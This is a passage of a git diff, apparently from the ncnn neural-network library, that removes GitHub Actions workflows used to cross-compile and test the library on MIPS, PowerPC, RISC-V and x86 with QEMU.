TESTS_EXECUTABLE_LOADER=qemu-mipsel TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/mipsisa32r6el-linux-gnu" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-mips64-cpu-gcc.yml b/.github/workflows/linux-mips64-cpu-gcc.yml deleted file mode 100644 index 890f1054d5b8..000000000000 --- a/.github/workflows/linux-mips64-cpu-gcc.yml +++ /dev/null @@ -1,138 +0,0 @@ -name: linux-mips64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-mips64-cpu-gcc.yml' - - 'toolchains/mips64el-linux-gnuabi64.toolchain.cmake' - - 'toolchains/mipsisa64r6el-linux-gnuabi64.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/mips/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-mips64-cpu-gcc.yml' - - 'toolchains/mips64el-linux-gnuabi64.toolchain.cmake' - - 'toolchains/mipsisa64r6el-linux-gnuabi64.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/mips/**' - - 'tests/**' -concurrency: - group: linux-mips64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-mips64el: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-mips64el-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=mips64el-linux-user --disable-system - make -j$(nproc) - make install - - - name: mips64el-gnuabi64-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-mips64el-linux-gnuabi64 - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/mips64el-linux-gnuabi64.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-mips64el TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/mips64el-linux-gnuabi64" ctest --output-on-failure -j $(nproc) - - linux-gcc-mipsisa64r6el: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-mips64el-install-20220502-4 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0001-target-mips-Fix-SAT_S-trans-helper.patch - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0002-target-mips-Fix-df_extract_val-and-df_extract_df-dfe.patch - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0003-target-mips-Fix-msa-checking-condition-in-trans_msa_.patch - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0004-target-mips-Do-not-treat-msa-INSERT-as-NOP-when-wd-i.patch - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0005-target-mips-Fix-FTRUNC_S-and-FTRUNC_U-trans-helper.patch - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0006-target-mips-Fix-store-adress-of-high-64bit-in-helper.patch - patch -p1 -i 0001-target-mips-Fix-SAT_S-trans-helper.patch - patch -p1 -i 0002-target-mips-Fix-df_extract_val-and-df_extract_df-dfe.patch - patch -p1 -i 0003-target-mips-Fix-msa-checking-condition-in-trans_msa_.patch - patch -p1 -i 0004-target-mips-Do-not-treat-msa-INSERT-as-NOP-when-wd-i.patch - patch -p1 -i 0005-target-mips-Fix-FTRUNC_S-and-FTRUNC_U-trans-helper.patch - patch -p1 -i 0006-target-mips-Fix-store-adress-of-high-64bit-in-helper.patch - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=mips64el-linux-user --disable-system - make -j$(nproc) - make install - - - name: mipsisa64r6el-gnuabi64-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-mipsisa64r6el-linux-gnuabi64 - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/mipsisa64r6el-linux-gnuabi64.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-mips64el TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/mipsisa64r6el-linux-gnuabi64" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-ppc64-cpu-gcc.yml b/.github/workflows/linux-ppc64-cpu-gcc.yml deleted file mode 100644 index d266bd58f776..000000000000 --- a/.github/workflows/linux-ppc64-cpu-gcc.yml +++ /dev/null @@ -1,217 +0,0 @@ -name: linux-ppc64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-ppc64-cpu-gcc.yml' - - 'toolchains/powerpc64le-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/*' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-ppc64-cpu-gcc.yml' - - 'toolchains/powerpc64le-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/*' - - 'tests/**' -concurrency: - group: linux-ppc64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-ppc: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-ppc-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=ppc-linux-user --disable-system - make -j$(nproc) - make install - - - name: powerpc-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-powerpc-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/powerpc-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-ppc TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/powerpc-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-ppc64le: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-ppc64le-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=ppc64le-linux-user --disable-system - make -j$(nproc) - make install - - - name: powerpc64le-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-powerpc64le-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/powerpc64le-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-ppc64le TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/powerpc64le-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-power8le-vsx: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-ppc64le-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=ppc64le-linux-user --disable-system - make -j$(nproc) - make install - - - name: powerpc64le-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-powerpc64le-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/power8le-linux-gnu-vsx.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-ppc64le TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/powerpc64le-linux-gnu;-cpu;power8_v2.0" ctest --output-on-failure -j $(nproc) - linux-gcc-power9le-vsx: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-ppc64le-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=ppc64le-linux-user --disable-system - make -j$(nproc) - make install - - - name: powerpc64le-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-powerpc64le-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/power9le-linux-gnu-vsx.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-ppc64le TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/powerpc64le-linux-gnu;-cpu;power9_v2.0" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-riscv64-cpu-gcc.yml b/.github/workflows/linux-riscv64-cpu-gcc.yml deleted file mode 100644 index cfd9685b8009..000000000000 --- a/.github/workflows/linux-riscv64-cpu-gcc.yml +++ /dev/null @@ -1,192 +0,0 @@ -name: linux-riscv64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-riscv64-cpu-gcc.yml' - - 'toolchains/riscv64-linux-gnu.toolchain.cmake' - - 'toolchains/riscv64-unknown-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-riscv64-cpu-gcc.yml' - - 'toolchains/riscv64-linux-gnu.toolchain.cmake' - - 'toolchains/riscv64-unknown-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' -concurrency: - group: linux-riscv64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-riscv64: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-riscv64-install-20220502-4 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - patch -p1 -i 0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=riscv64-linux-user --disable-system - make -j$(nproc) - make install - - - name: riscv64-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-riscv64-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/riscv64-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/riscv64-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-riscv64-c906: - runs-on: [self-hosted, linux, centos] - steps: - - uses: actions/checkout@v4 - - - name: configure - run: | - export RISCV_ROOT_PATH=/data/action/osd/Xuantie-900-gcc-linux-5.10.4-glibc-x86_64-V2.6.1 - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/c906-v226.toolchain.cmake -DCMAKE_BUILD_TYPE=release -DNCNN_OPENMP=OFF -DNCNN_THREADS=OFF -DNCNN_RUNTIME_CPU=OFF -DNCNN_RVV=ON -DNCNN_SIMPLEOCV=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j 4 - - - name: test - run: | - export PATH=/data/action/osd/xuantie-qemu-x86_64-Ubuntu-18.04-20230413-0706/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-cpu;c906fdv" ctest --output-on-failure -j 4 - - linux-gcc-riscv64-rvv: - runs-on: [self-hosted, linux, centos] - steps: - - uses: actions/checkout@v4 - - #- name: cache-qemu - #id: cache-qemu - #uses: actions/cache@v4 - #with: - #path: qemu-install - #key: qemu-riscv64-install-20220502-3 - #- name: install-qemu-build-deps - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev ninja-build - #- name: checkout-qemu - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: qemu/qemu - #path: qemu - #ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - #- name: qemu - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #run: | - #cd qemu - #wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - #patch -p1 -i 0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - #./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=riscv64-linux-user --disable-system - #make -j2 - #make install - - #- name: cache-riscv - #id: cache-riscv - #uses: actions/cache@v4 - #with: - #path: rv64gcv-install-next - #key: rv64gcv-linux-install-20210504 - - #- name: install-riscv-build-deps - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler - - #- name: checkout-riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-gnu-toolchain - #path: riscv-gnu-toolchain - #ref: da01ba455ce3802ffa84fdca3a089079996dbfc3 - #- name: checkout-riscv-gnu-toolchain-submodules - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #git submodule update --init --recursive --depth 1 glibc - #git submodule update --init --recursive --depth 1 newlib - #git submodule update --init --recursive --depth 1 riscv-binutils - #git submodule update --init --recursive --depth 1 riscv-gcc - #git submodule update --init --recursive --depth 1 riscv-dejagnu - #git submodule update --init --recursive --depth 1 riscv-gdb - #- name: riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #sed -i '/__OBSOLETE_MATH/d' newlib/newlib/libm/common/math_errf.c - #./configure --prefix=$GITHUB_WORKSPACE/rv64gcv-install-next --with-arch=rv64gcv_zfh - #make linux - - #- name: riscv-strip-install - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: find $GITHUB_WORKSPACE/rv64gcv-install-next -type f | xargs -i strip -g {} || true - - - name: configure - run: export RISCV_ROOT_PATH=/data/action/osd/rv64gcv-install-next && mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/riscv64-unknown-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j 4 - - - name: test-vlen256 - run: | - export PATH=/data/action/osd/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-cpu;rv64,v=true,Zfh=true,vlen=256,elen=64,vext_spec=v1.0;-L;/data/action/osd/rv64gcv-install-next/sysroot" ctest --output-on-failure -j 4 - - - name: test-vlen128 - run: | - export PATH=/data/action/osd/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-cpu;rv64,v=true,Zfh=true,vlen=128,elen=64,vext_spec=v1.0;-L;/data/action/osd/rv64gcv-install-next/sysroot" ctest --output-on-failure -j 4 diff --git a/.github/workflows/linux-riscv64-cpu-gnu-clang.yml b/.github/workflows/linux-riscv64-cpu-gnu-clang.yml deleted file mode 100644 index 45aa5e35a44d..000000000000 --- a/.github/workflows/linux-riscv64-cpu-gnu-clang.yml +++ /dev/null @@ -1,142 +0,0 @@ -name: linux-riscv64-cpu-gnu-clang -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-riscv64-cpu-gnu-clang.yml' - - 'toolchains/riscv64-unknown-linux-gnu.llvm-toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-riscv64-cpu-gnu-clang.yml' - - 'toolchains/riscv64-unknown-linux-gnu.llvm-toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' -concurrency: - group: linux-riscv64-cpu-gnu-clang-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-riscv64-rvv: - runs-on: [self-hosted, linux, centos] - steps: - - uses: actions/checkout@v4 - - #- name: cache-qemu - #id: cache-qemu - #uses: actions/cache@v3 - #with: - #path: qemu-install - #key: qemu-riscv64-install-20220502-3 - #- name: install-qemu-build-deps - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev ninja-build - #- name: checkout-qemu - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: qemu/qemu - #path: qemu - #ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - #- name: qemu - #if: steps.cache-qemu.outputs.cache-hit != 'true' - #run: | - #cd qemu - #wget https://raw.githubusercontent.com/nihui/ncnn-assets/master/qemu-patches/0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - #patch -p1 -i 0007-linux-user-Expose-risc-v-V-isa-bit-in-get_elf_hwcap.patch - #./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=riscv64-linux-user --disable-system - #make -j2 - #make install - - #- name: cache-riscv - #id: cache-riscv - #uses: actions/cache@v3 - #with: - #path: rv64gcv-install-next - #key: rv64gcv-linux-install-20210504 - - #- name: install-riscv-build-deps - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler - - #- name: checkout-riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-gnu-toolchain - #path: riscv-gnu-toolchain - #ref: da01ba455ce3802ffa84fdca3a089079996dbfc3 - #- name: checkout-riscv-gnu-toolchain-submodules - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #git submodule update --init --recursive --depth 1 glibc - #git submodule update --init --recursive --depth 1 newlib - #git submodule update --init --recursive --depth 1 riscv-binutils - #git submodule update --init --recursive --depth 1 riscv-gcc - #git submodule update --init --recursive --depth 1 riscv-dejagnu - #git submodule update --init --recursive --depth 1 riscv-gdb - #- name: riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #sed -i '/__OBSOLETE_MATH/d' newlib/newlib/libm/common/math_errf.c - #./configure --prefix=$GITHUB_WORKSPACE/rv64gcv-install-next --with-arch=rv64gcv_zfh - #make linux - - #- name: riscv-strip-install - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: find $GITHUB_WORKSPACE/rv64gcv-install-next -type f | xargs -i strip -g {} || true - - # - name: install-clang - # run: | - # wget https://github.com/llvm/llvm-project/releases/download/llvmorg-15.0.1/llvm-project-15.0.1.src.tar.xz - # tar -xf llvm-project-15.0.1.src.tar.xz - # cd llvm-project-15.0.1.src - # mkdir build - # cd build - # cmake -DCMAKE_INSTALL_PREFIX=install -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON -DLLVM_ENABLE_PROJECTS="clang" -DLLVM_TARGETS_TO_BUILD="RISCV" -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_INCLUDE_TESTS=OFF ../llvm/ - # make -j16 - # make install - - - name: build - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - export RISCV_ROOT_PATH=/data/action/osd/rv64gcv-install-next - export PATH=/data/action/osd/llvm-project-15.0.1.src/build/install/bin:$PATH - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/riscv64-unknown-linux-gnu.llvm-toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - - name: test-vlen256 - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - export PATH=/data/action/osd/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-cpu;rv64,v=true,Zfh=true,vlen=256,elen=64,vext_spec=v1.0;-L;/data/action/osd/rv64gcv-install-next/sysroot" ctest --output-on-failure -j 4 - - - name: test-vlen128 - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - export PATH=/data/action/osd/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-riscv64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-cpu;rv64,v=true,Zfh=true,vlen=128,elen=64,vext_spec=v1.0;-L;/data/action/osd/rv64gcv-install-next/sysroot" ctest --output-on-failure -j 4 diff --git a/.github/workflows/linux-x64-cpu-clang.yml b/.github/workflows/linux-x64-cpu-clang.yml deleted file mode 100644 index 185a3642caa2..000000000000 --- a/.github/workflows/linux-x64-cpu-clang.yml +++ /dev/null @@ -1,128 +0,0 @@ -name: linux-x64-cpu-clang -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-clang.yml' - - 'toolchains/host-c.clang.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-clang.yml' - - 'toolchains/host-c.clang.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-cpu-clang-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-clang: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: protobuf - run: sudo apt-get install libprotobuf-dev protobuf-compiler libopencv-dev - - name: build-sse2 - env: - CC: clang - CXX: clang++ - run: | - mkdir build-sse2 && cd build-sse2 - cmake -DNCNN_AVX=OFF -DNCNN_AVX2=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-sse2 - run: cd build-sse2 && ctest --output-on-failure -j $(nproc) - - name: build-shared - env: - CC: clang - CXX: clang++ - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_AVX2=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: build-avx2 - env: - CC: clang - CXX: clang++ - run: | - mkdir build-avx2 && cd build-avx2 - cmake -DNCNN_AVX2=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx2 - run: cd build-avx2 && ctest --output-on-failure -j $(nproc) - - name: build-avx - env: - CC: clang - CXX: clang++ - run: | - mkdir build-avx && cd build-avx - cmake -DNCNN_AVX2=OFF -DNCNN_AVX=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx - run: cd build-avx && ctest --output-on-failure -j $(nproc) - - name: build-avx1-2 - env: - CC: clang - CXX: clang++ - run: | - mkdir build-avx1-2 && cd build-avx1-2 - cmake -DNCNN_AVX2=ON -DNCNN_AVX=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx1-2 - run: cd build-avx1-2 && ctest --output-on-failure -j $(nproc) - - name: build-noint8 - env: - CC: clang - CXX: clang++ - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DNCNN_INT8=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: cd build-noint8 && ctest --output-on-failure -j $(nproc) - - linux-clang-simplestl: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: build-simplestl - env: - CC: clang - CXX: clang++ - run: | - mkdir build-simplestl 